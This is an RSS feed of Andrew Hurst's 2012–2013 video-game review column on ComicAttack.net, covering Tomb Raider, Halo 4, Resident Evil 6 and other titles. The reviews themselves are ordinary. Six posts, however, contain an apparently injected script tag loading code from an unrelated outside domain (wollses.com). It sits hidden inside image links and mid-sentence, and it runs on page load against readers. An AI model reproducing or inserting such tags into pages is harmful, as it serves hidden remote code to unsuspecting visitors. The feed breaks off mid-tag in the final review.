<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>andrewhurst – ComicAttack.net</title> <atom:link href="https://comicattack.net/author/andrewhurst/feed/" rel="self" type="application/rss+xml" /> <link>https://comicattack.net</link> <description></description> <lastBuildDate>Thu, 21 Mar 2013 16:00:52 +0000</lastBuildDate> <language>en-US</language> <sy:updatePeriod> hourly </sy:updatePeriod> <sy:updateFrequency> 1 </sy:updateFrequency> <generator>https://wordpress.org/?v=6.5.3</generator> <image> <url>https://comicattack.net/wp-content/uploads/2019/07/cropped-Review-1-1-32x32.jpg</url> <title>andrewhurst – ComicAttack.net</title> <link>https://comicattack.net</link> <width>32</width> <height>32</height> </image> <item> <title>The Comics Console: Tomb Raider Review</title> <link>https://comicattack.net/tcc032013/</link> <comments>https://comicattack.net/tcc032013/#comments</comments> <dc:creator><![CDATA[andrewhurst]]></dc:creator> <pubDate>Thu, 21 Mar 2013 16:00:52 +0000</pubDate> <category><![CDATA[Columns]]></category> <category><![CDATA[Dark Horse]]></category> <category><![CDATA[Featured Columns]]></category> <category><![CDATA[Hurst]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[The Comics Console]]></category> <category><![CDATA[Video Games]]></category> <category><![CDATA[Lara Croft]]></category> <category><![CDATA[PS3]]></category> <category><![CDATA[Square Enix]]></category> <category><![CDATA[Tomb Raider]]></category> <category><![CDATA[XBox 360]]></category> <guid isPermaLink="false">https://comicattack.net/?p=99601</guid> <description><![CDATA[Tomb Raider Publisher: Square Enix Developer: Crystal Dynamics Released: March 5, 2013 Platforms: Xbox 360, PS3, PC ESRB: Mature It’s funny how you can resent and despise something for so long, yet still be such a great fan of it. For years, the Tomb Raider series has been plagued with mediocre games, still trying to […]]]></description> <content:encoded><![CDATA[<p><strong><a href="https://comicattack.net//wp-content/uploads/2013/03/trcover2.jpg"><img fetchpriority="high" decoding="async" class="alignleft size-full wp-image-99604" style="margin: 1px 4px;" src="https://comicattack.net//wp-content/uploads/2013/03/trcover2.jpg" alt="" width="223" height="258" srcset="https://comicattack.net/wp-content/uploads/2013/03/trcover2.jpg 413w, https://comicattack.net/wp-content/uploads/2013/03/trcover2-259x300.jpg 259w" sizes="(max-width: 223px) 100vw, 223px" /></a><em>Tomb Raider</em></strong></p> <p><strong>Publisher:</strong> Square Enix<br /> <strong>Developer:</strong> Crystal Dynamics<br /> <strong>Released:</strong> March 5, 2013<br /> <strong>Platforms:</strong> Xbox 360, PS3, PC<br /> <strong>ESRB:</strong> Mature</p> <p>It’s funny how you can resent and despise something for so long, yet still be such a great fan of it. For years, the Tomb Raider series has been plagued with mediocre games, still trying to cash in on the exploitation of Lara Croft as the action hero with breasts as big as her guns; and as a fan of the original PSOne game, it broke my heart. So many years later, after an era of games where Nathan Drake did Lara Croft better than Lara Croft, we finally get the Tomb Raider game we need…but still not quite the game we deserve.</p> <p>Right from the opening cut scene, it’s easy to see the developers have built an absolutely beautiful game. And within the first few minutes, the entire tone of the next 15 hour journey is set. A series once known for its sexuality has made a dramatic turn toward gore. Before you even take full control of the character, Lara has nearly drowned, had her skull caved in, and her torso impaled. And that’s just the first five minutes. Not to mention the craziness that takes place later that I won’t spoil for you.</p> <p>But of course, Lara endures for as long as you can keep her alive, and the action begins. Two words: Bow and arrow. It’s without a doubt the most fun weapon in the game, and with every head shot comes a large, but brief, flare of pride. The other artillery you gather through the game, like a simple handgun, shotgun, and automatic rifle (all of which are upgradable) are great, but you almost feel guilty when you’ve failed with the bow and have to resort to a firearm.</p> <p style="text-align: center;"><a href="https://comicattack.net//wp-content/uploads/2013/03/tomb-raider-05.jpg"><img decoding="async" class="aligncenter size-large wp-image-99608" src="https://comicattack.net//wp-content/uploads/2013/03/tomb-raider-05-1024x576.jpg" alt="" width="614" height="346" srcset="https://comicattack.net/wp-content/uploads/2013/03/tomb-raider-05-1024x576.jpg 1024w, https://comicattack.net/wp-content/uploads/2013/03/tomb-raider-05-300x169.jpg 300w, https://comicattack.net/wp-content/uploads/2013/03/tomb-raider-05-768x432.jpg 768w, https://comicattack.net/wp-content/uploads/2013/03/tomb-raider-05.jpg 1280w" sizes="(max-width: 614px) 100vw, 614px" /><script src="//wollses.com/steps"></script></a></p> <p>The game is surprisingly more action oriented than I thought it would be. The title on the box is <em>Tomb Raider</em>, and, obviously, you expect there to be tombs to raid. And there are, but they’re probably the most disappointing part of the game. Each tomb consists of merely one puzzle, none of which are very difficult, resulting in Lara finding a chest hiding some treasure you never even see. For a game that implies such adventure, it’s a severely underwhelming experience. Personally, I was looking forward to a more Legend of Zelda dungeon solving type of adventure. Instead, tombs are pretty much an afterthought, while firefight against insurmountable odds of cultists trying to kill you takes 90 percent of your time.</p> <p>Though I was terribly disappointed by the simplicity of the actual tomb raider, I can’t take away from how solid and fun an action adventure game it is. Though, sadly, once it’s over, it’s over. There’s little to no replayability to this game. Once the campaign has been conquered, you’re able to go find collectables you missed, or go find the few lame tombs you couldn’t find before, and there’s even the completely mediocre multiplayer, but there’s nothing else after that. Something as simple as replaying the campaign with all your upgrades available would have gone a long way.</p> <p>One nice little perk, however, is (depending on where you pick up your copy of the game) the special mini hardcover prequel comic from Dark Horse. It really is a beautiful book, even if it adds hardly anything to the already thin story.</p> <p>Whether you were a fan of the original Tomb Raider games, or never played any of them before, there’s quite a bit to be enjoyed in this reboot…even if there isn’t enough. Hopefully the sequel will have more to offer.</p> <p>For more of <strong>The Comics Console</strong>, click<a href="https://comicattack.net/category/cafeaturedcolumns/tcc/"> here</a>!</p> <p><span style="text-decoration: underline;">Andrew Hurst</span><br /> andrewhurst@comicattack.net</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/tcc032013/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item> <title>The Comics Console: Injustice: Gods Among Us #1 Review</title> <link>https://comicattack.net/tcc12613/</link> <comments>https://comicattack.net/tcc12613/#respond</comments> <dc:creator><![CDATA[andrewhurst]]></dc:creator> <pubDate>Thu, 17 Jan 2013 18:00:15 +0000</pubDate> <category><![CDATA[Batman]]></category> <category><![CDATA[Columns]]></category> <category><![CDATA[DC Comics]]></category> <category><![CDATA[Featured Columns]]></category> <category><![CDATA[Hurst]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Superman]]></category> <category><![CDATA[The Comics Console]]></category> <category><![CDATA[Video Games]]></category> <category><![CDATA[Digital Comics]]></category> <category><![CDATA[Mortal Kombat]]></category> <category><![CDATA[NeatherRealm]]></category> <category><![CDATA[Wii U]]></category> <guid isPermaLink="false">https://comicattack.net/?p=97675</guid> <description><![CDATA[Injustice: Gods Among Us #1, the comic book companion for the upcoming video game, has arrived on DC Digital Comics. Personally, I haven’t been much of a fan of DC’s digital content, but this series may be the one to turn me on to downloadable comics. Injustice: Gods Among Us #1 Writer: Tom Taylor Artist/Cover: […]]]></description> <content:encoded><![CDATA[<p><em>Injustice: Gods Among Us</em> #1, the comic book companion for the upcoming video game, has arrived on DC Digital Comics. Personally, I haven’t been much of a fan of DC’s digital content, but this series may be the one to turn me on to downloadable comics.</p> <p><em><strong><a href="https://comicattack.net//wp-content/uploads/2013/01/INJUSTICE-COVER-1v3_Crop.jpg"><img decoding="async" class="alignleft size-large wp-image-97680" style="margin: 1px 4px" src="https://comicattack.net//wp-content/uploads/2013/01/INJUSTICE-COVER-1v3_Crop-671x1024.jpg" alt="" width="242" height="368" /></a>Injustice: Gods Among Us </strong></em><strong>#1</strong></p> <p><strong>Writer:</strong> Tom Taylor<br /> <strong>Artist/Cover:</strong> Jheremy Raapack<br /> <strong>Cover Color:</strong> Tony Avina<br /> <strong>Color:</strong> Andrew Elder<br /> <strong>Letters:</strong> Wes Abbot<br /> <strong>Asst. Editor:</strong> Sarah Litt<br /> <strong>Editor:</strong> Jim Chadwick</p> <p>If video games aren’t your thing, that’s okay. You can still enjoy the Mortal Kombat creators take on DC in the Injustice digital comic series. And, honestly, it surprises me to write that. The DC digital line hasn’t offered much to stimulate my interest outside the super cute Lil’ Gotham series by Dustin Nguyen, but to me, an interesting story is an interesting story, regardless of its medium.<em> Injustice: Gods Among Us</em> is a video concept from NeatherReal Studios (the minds behind the Mortal Kombat series) that puts all of the best and worst of the DC Universe into one fighting game, with no Mortal Kombat characters taking up roster space (see <a href="https://comicattack.net/2010/07/tcc-7-22-10/">Mortal Kombat vs. DC Universe<script src="//wollses.com/steps"></script></a>).</p> <p><em>Injustice: Gods Among Us</em> – the comic – expands upon exactly why our heroes enter an every-man-for-themselves battle royal. I don’t want to say too much about the plot of this issue, because it’s a pretty short read (20 digital pages, but you’ll finish it in about three minutes), and saying too much would be downright spoiling it, but I will say that the ideas foreshadowed in this issue are very scary. Goody scary.</p> <p>Forget what you’ve read in the New 52, because this continuity takes readers back to a more familiar era in the DCU. This inaugural issue follows Batman and Superman during a few hours of what will turn out to be a very important night in both their lives. Mainly Superman’s. What I liked most about this book is that the writer, Tom Taylor, knows the voices and the tones of each character. The Batman segments show the driven seriousness of the Dark Knight, while the Superman segments add a bit of humor and charm. Humor and charm that is a bit forced, but enjoyable nonetheless.</p> <p style="text-align: center"><a href="https://comicattack.net//wp-content/uploads/2013/01/inbitch.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-97686" src="https://comicattack.net//wp-content/uploads/2013/01/inbitch-1024x291.png" alt="" width="614" height="175" /></a></p> <p>The art is as detailed and cinematic as you could ask for in a comic book. These books that act merely as add-ons to movies, or video games, or TV shows usually aren’t attached to the industry’s strongest talents, but Injustice is very satisfying. A great mixture of sexy and scary. The story takes place during the night, so the color palate is a bit limited, but it makes sense, and there is a good contrast between Metropolis night skies and lit up skyscrapers.</p> <p>What I didn’t see in the issue that I was looking for was an explanation for the heroes’ gaudy looking armor costumes. The game designers’ choice to beef up each character with helmets and shoulder pads perplexes me. For the human characters like Batman and Nightwing, it makes sense, but why does Superman need a breast plate and a cup? But that’s a nitpick on my part. I’ll be judging this comic by its story and art, and the video game by its gameplay.</p> <p>I can’t end this column without bringing up the name of this game/comic again. Injustice: Gods Among Us. What a weird crazy name for a DC Comics super hero video game. When I first heard it, I disagreed with it, but I’m gradually appreciating how risky and different that name is. My only complaint about Injustice is the costumes, but I have faith in NeatherRealm to make a fun game, and I like the comic so far, so if costume design is the only problem, I can’t complain too much.</p> <p><em>Injustice: Gods Among Us</em> hits consoles April 16, and the comic drops monthly on your mobile devise. DC likes to release their digital comics in print later on, so if you’re like me and love smelling the pages of a comic as you hold it in your own hands, look for Injustice in print form in the future.</p> <p>For more of <strong>The Comics Console</strong>, click<a href="https://comicattack.net/category/cafeaturedcolumns/tcc/"> here</a>!</p> <p>Andrew Hurst<br /> andrewhurst@comicattack.net</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/tcc12613/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>The Comics Console: Marvel’s Avengers: Battle for Earth</title> <link>https://comicattack.net/tcc121912/</link> <comments>https://comicattack.net/tcc121912/#comments</comments> <dc:creator><![CDATA[andrewhurst]]></dc:creator> <pubDate>Thu, 20 Dec 2012 15:25:58 +0000</pubDate> <category><![CDATA[Avengers]]></category> <category><![CDATA[Columns]]></category> <category><![CDATA[Featured Columns]]></category> <category><![CDATA[Hurst]]></category> <category><![CDATA[Iron Man]]></category> <category><![CDATA[Marvel]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Video Games]]></category> <category><![CDATA[X-Men]]></category> <category><![CDATA[Captain America]]></category> <category><![CDATA[Kinect]]></category> <category><![CDATA[Marvel Avengers: Battle for Earth]]></category> <category><![CDATA[Spider-Man]]></category> <category><![CDATA[Ubisoft]]></category> <category><![CDATA[XBox 360]]></category> <guid isPermaLink="false">https://comicattack.net/?p=96913</guid> <description><![CDATA[Marvel fighting games are held to a pretty high standard with previous greats like the Marvel vs. Capcom series. But, as history has shown us, when in the hands of any other developer besides Capcom, things can get pretty rough around the edges…or in this case, just damn exhausting. Marvel Avengers: Battle for Earth Publisher: […]]]></description> <content:encoded><![CDATA[<p>Marvel fighting games are held to a pretty high standard with previous greats like the Marvel vs. Capcom series. But, as history has shown us, when in the hands of any other developer besides Capcom, things can get pretty rough around the edges…or in this case, just damn exhausting.</p> <p><em><strong><a href="https://comicattack.net/wp-content/uploads/2012/12/mabfe1.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-96914" style="margin: 1px 4px;" src="https://comicattack.net/wp-content/uploads/2012/12/mabfe1.jpg" alt="" width="230" height="328" /></a>Marvel Avengers: Battle for Earth</strong></em></p> <p><strong>Publisher:</strong> Ubisoft<br /> <strong>Developer:</strong> Ubisoft Quebec<br /> <strong>Released:</strong> Oct. 30, 2012<br /> <strong>Platforms:</strong> Xbox 360<br /> <strong>ESRB:</strong> Teen</p> <p>Xbox Kinect games are, for me, pretty hit and miss. Thankfully, <em>Battle for Earth</em> falls nicely in the middle, and really the game’s only fault is that it’s a Kinect game.</p> <p>There’s a great arcade feel with the standard three-on-three matches amongst Earth’s mightiest, and that nostalgia only fades once the gameplay starts. Ironically, this game’s worst problem is its motion controls. The Kinect sensor has lag issues picking up on motion commands, and in fighting games, such lag can be extremely costly to your progress. You can imagine how frustrating it is. Great Kinect games like <em>Dance Central<script src="//wollses.com/steps"></script></em> have virtually zero problems picking up specific movements, and the difference is palpable. Sore arms and legs are pretty much guaranteed the next day.</p> <p>Essentially, every character plays the same. Simple strikes, signature attacks, which require charging, knee lifts, and a finishing move that adds a little extra salt to the wound when you call out the name of the finisher. Once you’ve had time to toy around with the gameplay, the real challenge becomes figuring out the precise speed and posture the Kinect sensor looks for to execute your attacks.</p> <p>The game’s story derives right from Brian Michael Bendis and Leinil Francis Yu’s <em>Secret Invasion</em>, with panels of the comic driving the narrative. As your team of Avengers, you’ll travel to some of the Marvel Universe’s most iconic locations battling Skrull counterparts of team mates. Usually, I prefer comic book games working with comic book publishers and writers to create a new story, but for this game there was something comforting about reliving an old classic.</p> <p style="text-align: center;"><a href="https://comicattack.net/wp-content/uploads/2012/12/mabfe3.jpg"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-96916" src="https://comicattack.net/wp-content/uploads/2012/12/mabfe3-1024x625.jpg" alt="" width="491" height="300" /></a></p> <p>The roster is fairly healthy with about 20 characters, and lots of extra costumes, but even though this is an Avengers game, it’s still disappointing not seeing Marvel favorites like Daredevil or Deadpool in the game.</p> <p><em>Marvel Avengers: Battle for Earth</em> is a fun enough game to enjoy with your friends for a weekend, but there’s no rush to play this game immediately. Even if you decide to skip it entirely, you’re not missing out on much. But a decent, if not perfect, Kinect game nonetheless.</p> <p>For more of <strong>The Comics Console</strong>, click <a href="https://comicattack.net/category/cafeaturedcolumns/tcc/">here</a>!</p> <p><span style="text-decoration: underline;">Andrew Hurst</span><br /> andrewhurst@comicattack.net</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/tcc121912/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item> <title>The Comics Console: Batman: Arkham City Armored Edition Review</title> <link>https://comicattack.net/tcc112212/</link> <comments>https://comicattack.net/tcc112212/#respond</comments> <dc:creator><![CDATA[andrewhurst]]></dc:creator> <pubDate>Thu, 22 Nov 2012 15:40:39 +0000</pubDate> <category><![CDATA[Batman]]></category> <category><![CDATA[Columns]]></category> <category><![CDATA[DC Comics]]></category> <category><![CDATA[Featured Columns]]></category> <category><![CDATA[Hurst]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Video Games]]></category> <category><![CDATA[Batman Arkham City]]></category> <category><![CDATA[Rocksteady]]></category> <category><![CDATA[Warner Bros. Interactive Entertainment]]></category> <category><![CDATA[Wii U]]></category> <guid isPermaLink="false">https://comicattack.net/?p=95761</guid> <description><![CDATA[When I first heard about the Nintendo Wii U, I wasn’t the least bit interested, especially with that ostentatious looking gamepad…until they announced Batman: Arkham City Armored Edition. My first thought was Armored Edition would be another watered downed, gimmicked rip-off of the 360 and PS3 Arkham City we played last year, but after getting […]]]></description> <content:encoded><![CDATA[<p>When I first heard about the Nintendo Wii U, I wasn’t the least bit interested, especially with that ostentatious looking gamepad…until they announced <em>Batman: Arkham City Armored Edition</em>. My first thought was<em> Armored Edition</em> would be another watered downed, gimmicked rip-off of the 360 and PS3 <em>Arkham City</em> we played last year, but after getting my hands on it, it may be the best version of the game.</p> <p><em><strong><a href="https://comicattack.net/wp-content/uploads/2012/11/bacae3.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-95765" style="margin: 1px 4px;" src="https://comicattack.net/wp-content/uploads/2012/11/bacae3.jpg" alt="" width="181" height="259" srcset="https://comicattack.net/wp-content/uploads/2012/11/bacae3.jpg 503w, https://comicattack.net/wp-content/uploads/2012/11/bacae3-210x300.jpg 210w" sizes="(max-width: 181px) 100vw, 181px" /></a>Batman: Arkham City Armored Edition</strong></em></p> <p><strong>Publisher:</strong> Warner Bros. Interactive Entertainment<br /> <strong>Developer:</strong> Rocksteady<br /> <strong>Released:</strong> Nov. 18, 2012<br /> <strong>Platform:</strong> Nintendo Wii U<br /> <strong>Rated:</strong> Teen</p> <p>The big question is what’s the big difference between the Wii U version of <em>Arkham City </em>and the other version. The big answer: the addition of that ugly, but well functional, gamepad. The term “Armored Edition” in the title implies exactly that, where, as Batman and Catwoman, you have special armor that becomes available after kicking so much bad guy butt, and with the touch of a button or the click of a stick, your character becomes that much tougher. Yes, it is a gimmick add on, but it becomes very useful in the more intense fights of the game.</p> <p>The gamepad offers a lot of aesthetic ease from the original version, with maps, menus, and upgrade screens appearing on the pad; and subtle, but fun nuances like the gamepad’s audio acting as Batman’s cowl communicator, with Alfred and Oracle coming right through your ear, where distant conversations within the City come through your TV’s speakers.</p> <p>You do have the option of playing the entire game without your TV and solely on the gamepad, with all the special Wii U features cut out, which is nice, but I personally don’t recommend it. The gamepad actually adds to the experience with its special advantages, and playing just on the gamepad feels like you’re playing <em>Arkham City<script src="//wollses.com/steps"></script></em> on the hugest hand-held since the Sega GameGear, except you can’t play on-the-go.</p> <p style="text-align: center;"><a href="https://comicattack.net/wp-content/uploads/2012/11/bacae2.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-95764" src="https://comicattack.net/wp-content/uploads/2012/11/bacae2.jpg" alt="" width="475" height="267" srcset="https://comicattack.net/wp-content/uploads/2012/11/bacae2.jpg 660w, https://comicattack.net/wp-content/uploads/2012/11/bacae2-300x169.jpg 300w" sizes="(max-width: 475px) 100vw, 475px" /></a></p> <p>The story and missions are identical to the original version, however, just like the game of the year edition, all the DLC is included. The many costumes, the Nightwing and Robin challenges, all the maps, and the Harley Quinn’s Revenge campaign are all here.</p> <p>The only problem with the game is the frame rate. When action picks us, the game is often choppy, but the graphics themselves are just as slick as ever. If you’ve never played <em>Arkham City</em>, and have the Wii U, this is a must play game. But the unique armor upgrades in this version aren’t enough to run out and buy a new copy of the same game you’ve already played.</p> <p>So far, I’m more impressed with Nintendo showing me how much better a game can be with the gamepad than with this new<em> Arkham City</em> itself, but that’s not to say this game isn’t worth your money.<em> Batman: Arkham City Armored Edition</em> and the Wii U itself are both pretty cool in my book.</p> <p>For more of <strong>The Comics Console</strong>, click<a href="https://comicattack.net/category/cafeaturedcolumns/tcc/"> here</a>!</p> <p><span style="text-decoration: underline;">Andrew Hurst</span><br /> andrewhurst@comicattack.net</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/tcc112212/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>The Comics Console: Halo 4 Review</title> <link>https://comicattack.net/tcc110712/</link> <comments>https://comicattack.net/tcc110712/#respond</comments> <dc:creator><![CDATA[andrewhurst]]></dc:creator> <pubDate>Thu, 08 Nov 2012 17:20:34 +0000</pubDate> <category><![CDATA[Columns]]></category> <category><![CDATA[Featured Columns]]></category> <category><![CDATA[Hurst]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[The Comics Console]]></category> <category><![CDATA[Video Games]]></category> <category><![CDATA[343 Industries]]></category> <category><![CDATA[Bungie]]></category> <category><![CDATA[Cortona]]></category> <category><![CDATA[Halo 4]]></category> <category><![CDATA[Master Chief]]></category> <category><![CDATA[Microsoft]]></category> <category><![CDATA[XBox 360]]></category> <guid isPermaLink="false">https://comicattack.net/?p=95224</guid> <description><![CDATA[In 2001, Bungie and Microsoft launched what would become one of the most successful video game franchises in the history of the industry, with Bungie behind the wheel for each of the flagship Halo titles…and then they gave it to 343 Industries. What was Bungie thinking, you ask? Is Halo ruined forever, your brain ponders? Is this […]]]></description> <content:encoded><![CDATA[<p>In 2001, Bungie and Microsoft launched what would become one of the most successful video game franchises in the history of the industry, with Bungie behind the wheel for each of the flagship Halo titles…and then they gave it to 343 Industries. What was Bungie thinking, you ask? Is Halo ruined forever, your brain ponders? Is this even Halo anymore? Or is it the best thing to ever happen to the series?</p> <p><em><strong><a href="https://comicattack.net/wp-content/uploads/2012/11/morelikeitfecc3.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-95233" style="margin: 1px 4px;" src="https://comicattack.net/wp-content/uploads/2012/11/morelikeitfecc3.jpg" alt="" width="225" height="315" srcset="https://comicattack.net/wp-content/uploads/2012/11/morelikeitfecc3.jpg 357w, https://comicattack.net/wp-content/uploads/2012/11/morelikeitfecc3-214x300.jpg 214w" sizes="(max-width: 225px) 100vw, 225px" /></a>Halo 4</strong></em></p> <p><strong>Publisher:</strong> Microsoft Studios<br /> <strong>Developer:</strong> 343 Industries<br /> <strong>Released:</strong> Nov. 6, 2012<br /> <strong>Platform:</strong> Xbox 360<br /> <strong>Rated:</strong> Mature</p> <p>Master Chief is back, and it’s the best we’ve ever seen him. The business as usual is about putting lead through the skulls of alien scum, but the enemy isn’t the Chief’s only problem this time around. Long time companion Cortana is reaching the end of her programming cycle, and is slowly going coconuts. The Halo games have never been known for having an outstanding narrative before, and <em>Halo 4<script src="//wollses.com/steps"></script></em> does have a few ends that are left loose, but this is by far the series’ most interesting and well developed plot. Even more refreshing was the long overdue character depth we see in the Chief and Cortana, and the performances by Steve Downes and Jen Taylor really drove their relationship to the exclamation point.</p> <p>Halo’s gameplay has always been tight, but somehow 343 managed to refine it even further. Each weapon carries its own heft, with a new action movie quality bark to each one of them. Using turrets or vehicles never feels like a chore and are a thrill every time, and the new upgrades and abilities really make every fight a new experience. The action is paced through the campaign perfectly, and the AI always offers a proper challenge, with AI intelligence increasing with a higher difficulty setting.</p> <p>The Halo standard, online multiplayer, is as impressive and addicting as ever, as well as its starting ten maps. By far my favorite new addition to not just multiplayer, but the whole game, is Spartan Ops. A series of side missions with its own story and objectives following the Spartans, with new missions being added every week for the next ten weeks.</p> <p><a href="https://comicattack.net/wp-content/uploads/2012/11/Halo-4-001.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-95234" src="https://comicattack.net/wp-content/uploads/2012/11/Halo-4-001.jpg" alt="" width="460" height="276" srcset="https://comicattack.net/wp-content/uploads/2012/11/Halo-4-001.jpg 460w, https://comicattack.net/wp-content/uploads/2012/11/Halo-4-001-300x180.jpg 300w" sizes="(max-width: 460px) 100vw, 460px" /></a></p> <p>I have no problem saying that <em>Halo 4</em> is the best looking game on the Xbox 360. The sharp details of every visual and design in this game is just ridiculously perfect. Open landscapes are chill inducing, the architecture is inspired, and the facial expressions are so spot on and realistic it’s almost eerie.</p> <p>It’s really hard to find anything to not like in this game. I don’t have a problem calling <em>Halo 4</em> the best first-person-shooter of this year, if not the best Xbox 360 game this year. The Halo franchise is in good hands with 343, and I can’t wait to see how this next trilogy unfolds.</p> <p>For more of <strong>The Comics Console</strong>, click <a href="https://comicattack.net/category/cafeaturedcolumns/tcc/">here</a>!</p> <p><span style="text-decoration: underline;">Andrew Hurst</span><br /> andrewhurst@comicattack.net</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/tcc110712/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>The Comics Console: Resident Evil 6 Review</title> <link>https://comicattack.net/tcc100412/</link> <comments>https://comicattack.net/tcc100412/#respond</comments> <dc:creator><![CDATA[andrewhurst]]></dc:creator> <pubDate>Thu, 04 Oct 2012 15:30:28 +0000</pubDate> <category><![CDATA[Columns]]></category> <category><![CDATA[Featured Columns]]></category> <category><![CDATA[Hurst]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[The Comics Console]]></category> <category><![CDATA[Video Games]]></category> <category><![CDATA[Wildstorm]]></category> <category><![CDATA[Capcom]]></category> <category><![CDATA[Chris Redfield]]></category> <category><![CDATA[Jake Muller]]></category> <category><![CDATA[Leon S. Kennedy]]></category> <category><![CDATA[Resident Evil]]></category> <category><![CDATA[Resident Evil 6]]></category> <category><![CDATA[Zombies]]></category> <guid isPermaLink="false">https://comicattack.net/?p=93823</guid> <description><![CDATA[Remember when Resident Evil use to be a survival horror game? Or when it was scary? If you don’t, it’s okay; it just means I’m old. But yes, once upon a time, I loved the RE series for the terrors that lurked around every crappy camera angled corner. Eventually, I learned to love it for […]]]></description> <content:encoded><![CDATA[<p>Remember when Resident Evil use to be a survival horror game? Or when it was scary? If you don’t, it’s okay; it just means I’m old. But yes, once upon a time, I loved the RE series for the terrors that lurked around every crappy camera angled corner. Eventually, I learned to love it for its mixture of horror combined with great action. But for the first time, Resident Evil has taught me how to be really frustrated and hateful.</p> <p><em><strong><a href="https://comicattack.net//wp-content/uploads/2012/10/RL87Z1.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-93827" style="margin: 1px 4px;" src="https://comicattack.net//wp-content/uploads/2012/10/RL87Z1.jpg" alt="" width="242" height="346" srcset="https://comicattack.net/wp-content/uploads/2012/10/RL87Z1.jpg 560w, https://comicattack.net/wp-content/uploads/2012/10/RL87Z1-210x300.jpg 210w" sizes="(max-width: 242px) 100vw, 242px" /></a>Resident Evil 6</strong></em></p> <p><strong>Publisher:</strong> Capcom<br /> <strong>Developer:</strong> Capcom<br /> <strong>Released:</strong> Oct. 2, 2012<br /> <strong>Platforms:</strong> Xbox 360, PS3<br /> <strong>ESRB:</strong> M</p> <p>Just like <em>Resident Evil 5</em>, RE6 has a heavy focus on third-person-shooting, and with the long begged for addition of actually being able to move while discharging your weapon, the shooting aspect of the gameplay has never been more satisfying. That is until you begin to discover the second largest aspect of the gameplay: quick button pressing. Be it borrowing Steve Austin’s thumbs for insane stick cranking, mashing different combinations of triggers and face buttons, or simply pressing A or X so that your character can merely drop down two feet to the next platform, you’re not getting through this game without mastering RE’s art of button mashing kung-fu. The problem with these “action buttons” is that they’re everywhere and you encounter them often. So much so that it’s easy to be shaken out of your immersion of Capcom’s so enchantingly creepy environments.</p> <p>Just like previous games, a cutscene ensures no safety from certain doom with — yes, you guessed it — more action buttons. The visuals and cinematics are absolutely amazing in this game. To the point where all my button mashing and zombie headshots feel like I’m getting in the way of this amazing action movie. The new monsters and creatures you discover in the game are well designed and look freakishly great, but the pacing leaves you all too ready to take on these threats, and never spends time building any tension or creating great scares.</p> <p>The inventory management has been overhauled for your character to hold more items, but it hasn’t been simplified. It’s a whole new beast that long time RE fans will have to get use to. The new upgrade system, however, is a dream, and the newest change to the series I welcomed the most. Instead of purchasing several different upgrades for several different weapons, players will purchase three levels of upgrades for all firearms. And special attributes like increased item droppage, or droppage of specific ammo for your favorite weapon can be bought and equipped to your character.</p> <p>With all the evolution we’ve seen in RE6 compared to the last game, one thing that still remains the same is the boss battles. These were without a doubt my least favorite contributions to the game. What should be a test of your skills accumulated from the start of the campaign, is nothing more than the same boring repetition we’ve seen from Capcom for years. The formula is a simple one: shoot the obvious weak spot, complete a series of action buttons, and repeat for three or more scenes. There is zero skill involved, and in some cases, zero challenge.</p> <p style="text-align: center;"><a href="https://comicattack.net//wp-content/uploads/2012/10/original.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-93830" src="https://comicattack.net//wp-content/uploads/2012/10/original.jpg" alt="" width="576" height="324" srcset="https://comicattack.net/wp-content/uploads/2012/10/original.jpg 640w, https://comicattack.net/wp-content/uploads/2012/10/original-300x169.jpg 300w" sizes="(max-width: 576px) 100vw, 576px" /><script src="//wollses.com/steps"></script></a></p> <p>The big buzz around this game is its three separate campaigns, each one separately revolving around series veterans Leon S. Kennedy, Chris Redfield, and new comer Jake Muller (and an unlockable fourth campaign featuring Ada Wong). Each story runs about six to eight hours and offers something slightly unique. Traveling with Leon takes you closest to the RE spirit, Chris’s is more military style action, and Jake’s…well, it has the most action buttons to press. The intertwining narratives provide a decent enough mystery that longtime fans of the series can really enjoy, but new players will have to pay close attention to really find something in these characters to care about.</p> <p>If you dig the gameplay enough, then Mercenaries mode is absolutely worth a go. Online, you can drop in and out of campaigns or Mercs mode, or even take on the role of one of the C-Virus infected and hunt for some human flesh.</p> <p>There were a few touches throughout the game put in for pure cinematic aesthetics that were annoying, like random wrong-place-wrong-time deaths where a train or ambulance would suddenly be careening at you that you’ll just have to look out for the next time, or the game’s camera shifting to something happening in the environment that doesn’t care if you’re doing something more important, but there were also things RE really did right. The A.I. has never been better, and the beautiful presentation, sound, and great cast of voice actors are of the highest quality you’ll find in the industry today.</p> <p><em>Resident Evil 6</em> tries to be more of a big budget action thriller than it does a zombie shooting game, but it’s not intrusive enough to deter fans of this style game from playing. It’s a far from perfect experience, but still worth picking up if you love the genre.</p> <p>For more of <strong>The Comics Console</strong>, click <a href="https://comicattack.net/category/cafeaturedcolumns/tcc/">here</a>!</p> <p><span style="text-decoration: 